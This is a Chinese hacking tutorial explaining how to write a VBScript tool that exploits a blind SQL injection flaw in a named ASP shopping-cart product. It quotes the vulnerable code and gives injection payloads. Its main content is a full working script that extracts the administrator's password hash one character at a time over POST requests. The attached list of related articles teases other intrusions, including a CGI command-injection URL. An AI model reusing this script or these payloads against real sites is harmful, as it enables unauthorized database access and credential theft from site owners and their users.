谈VBS在Hacking中的作用———SQL Inject中的应用

所属分类: 网络安全 / 黑客入侵 阅读数: 677
收藏 0 赞 0 分享
平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。因此今天NP给大家带来的文章就是讲如何用简单的VBS脚本来打造我们所要的注射工具。
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了VBS脚本的基础知识以及基本的SQL Inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的Getpwd2.asp的片段)

<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

已知管理员表为admin 密码字段为password
有经验的朋友可以很清楚的看到第6句的SQL语句把没有经过任何过滤的Username变量,直接提交执行了。这是一个很经典的SQL Inject漏洞。那么我们如何去利用这个漏洞呢?
由于username变量是用request.form获取的,而我们知道request.form只接受POST提交上来的数据,因此我们不能像往常一样构造如下语句进行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址栏输入的话,由于是GET提交数据,Getpwd2.asp是不会接收数据的。
看到这,您或许会说,那用NBSI中的POST提交功能呢?
经过测试把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址栏,使用POST提交,NBSI会说“注入破解失败”

由于语句的关系,NBSI无法帮我们跑出相关密码。阿D就不用说了,全用GET…也无法帮我们完成任务.
现在我们再测试下手工注射!
我们将如下语句填入getpwd.asp的表单中:
' or 0<>(select count(*) from admin) and ''='

返回正确提示,说明我们注射成功!

OK,架设的环境已经大体分析清楚了….我们开始进入主题.
VBS 的注射脚本需要用到XmlHttp组件和ADODB.Stream组件,请确保您机器上存在这两个组件!(默认系统自带,但由于去年ADODB.Stream网页木马的事件,很多机器的 ADODB.Stream组件被删除了,所以写此注射脚本时,请保证该组件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit
end if
‘//上面的IF语句是判断脚本执行程序是否为wscript.exe,如果是则提示对方到CMD下执行
URL=lcase(trim(Wscript.Arguments(0)))
‘//简单过滤提交参数的两边空格以及转换成全小写.
RightW = "这个用户没有注册"
‘//这个是定义判断猜对与否的关键字
if url <> "" then

'猜解管理员表

data = "' or 0<>(select count(*) from admin) and ''='"

GetHTTPPage(url)

If len(GetHTTPPage(url)) <5 then

wscript.echo "Error...Please checking the url!"

wscript.quit

end if

‘//上面这个IF语句,主要是判断反馈信息,如果反馈信息的长度少于5,那说明提交的URL有问题,需要退出重新检查后再注射.

If Instr(GetHTTPPage(url), RightW) = 0 then

Wscript.echo "Table name ""admin"" find"

else

wscript.echo "Not found table name ...exit..."

wscript.quit

end If
‘//如果发现关键字,则报告表名猜解正确,否则退出!

'猜解密码字段

data ="' or 0<>(select count(password) from admin) and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

WScript.Echo ""

Wscript.echo "The Column name ""password"" find"

else

wscript.echo "Not found Column name ...exit..."

wscript.quit

End If
‘//猜解密码字段亦同!

'猜解密码

WScript.Echo ""

WScript.Echo "Start guessing,Waiting... ..."

WScript.Echo ""

pwd=""

strings="0123456789abcdef" '定义密码范围(构成md5值的主要字符)

For i=1 To 16 Step 1

wscript.echo "Guessing
No. "&i&"... ..."

For k=1 To Len(strings) Step 1

data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

pwd = pwd&Mid(strings,k,1)

Exit For

End If

Next

Next
‘//此脚本之精华之处,嵌套循环猜解密码!
‘//依次取密码与构成MD5的主要16个字符的ASC值进行对比
‘//正确则给PWD附值并跳出单循环,继续下一个猜解

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "Guessing over!!!"

If error Then

Wscript.echo "error:" & Error.Description

Error.Clear

Else

Wscript.echo "Password is:" & pwd

End if
‘//输出已经猜解成功的密码

else

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"

wscript.echo "--------------------------------------------------------------------------------"

End if
‘//以下是注射的POST提交函数
‘//用ADODB.Stream转换编码,速度比较快,对于反馈数据多的站点比较有优势!
Function GetHTTPPage(url)

dim XmlHttp

set XmlHttp=createobject("Msxml2.XMLHTTP")

XmlHttp.open "POST",url,false

xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"

XmlHttp.send("username="&data)

if XmlHttp.readystate<>4 then exit function

GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)

set XmlHttp=nothing

if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)

Dim BytesStream,StringReturn

Set BytesStream = CreateObject("ADODB.Stream")

BytesStream.Type = 2

BytesStream.Open

BytesStream.WriteText vin

BytesStream.Position = 0

BytesStream.Charset = "GB2312"

BytesStream.Position = 2

StringReturn =BytesStream.ReadText

BytesStream.close

Set BytesStream = Nothing

Bytes2bStr = StringReturn
End Function

注意事项:要提交的SQL语句,空格需要用加号替换,否则在有的机器上无法猜解!
以上就是我们自己针对性打造的注射工具了.
使用方法也很简单,在CMD下执行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么样?是不是很简单呢?
您或许还会说,为什么没猜管理员的用户名字段和相关ID呢?呵呵,这就留个大家当作业吧.
您可以添加如下功能:
自动判断管理员的用户名字段
自动判断管理员的用户名所在的有效ID值
可猜解指定的ID.
更深入的过滤及检测URL是否有效.
多说无意…行动最实际! Go Go Go…开始打造你自己的注射程序
更多精彩内容其他人还在看

有防火墙网站的入侵过程

一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp,找到了一个注入点。用nbsi注入,发现是s
收藏 0 赞 0 分享

dcomrpc入侵

需要的工具: 很好的:?radmin.exe 扫描工具: retinarpcdcom.exe 溢出攻击工具:RpcDcom(通用溢出工具) 脚本开启telnet工具:telnet.vbe opentelnet.exe resumetelne
收藏 0 赞 0 分享

攻破雷客图ASP站长安全助手

到Lake2网站上下了1.5的源代码,发现这个版本的确改进了不少,又增加了查杀功能: 1:查杀通过了Unicode编码的ASP木马 2:查杀使用了(Open|Create)TextFile, SaveToFile,Save, set Server,Server.(
收藏 0 赞 0 分享

网页“黑手”如何入侵你的Windows系统

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。比如,当你收到一封主题为“I Love You”的邮件,兴冲冲的双击附件想欣赏一下这封“情书”的时候,却在无意当中成为了病毒的受害者和传播者;或者在浏览某个网页的时候,浏览器标题栏就变成了类似“
收藏 0 赞 0 分享

环境变量在Hacking中的应用

首先,我们先了解下什么叫环境变量! 环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比
收藏 0 赞 0 分享

一次尝试IRIX的过程(nobody shell)

1、http://www.targe.co.jp/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|ls -la 这就是它的利用方法了。其中ls -la是我们要运行的命令,我不太习惯在web shell里面干活,还
收藏 0 赞 0 分享

三分钟搞定隐藏管理员账号

对regedit.exe大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其它用户都
收藏 0 赞 0 分享

高手解析如何入侵3389

工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码: 08US9A95I lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA
收藏 0 赞 0 分享

完整的XSS wrom网站入侵实例示范

XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。   1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,/前是真正的空格),在个人档案处看过滤了哪些。   ’’;
收藏 0 赞 0 分享

谈VBS在Hacking中的作用———SQL Inject中的应用

平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。
收藏 0 赞 0 分享
查看更多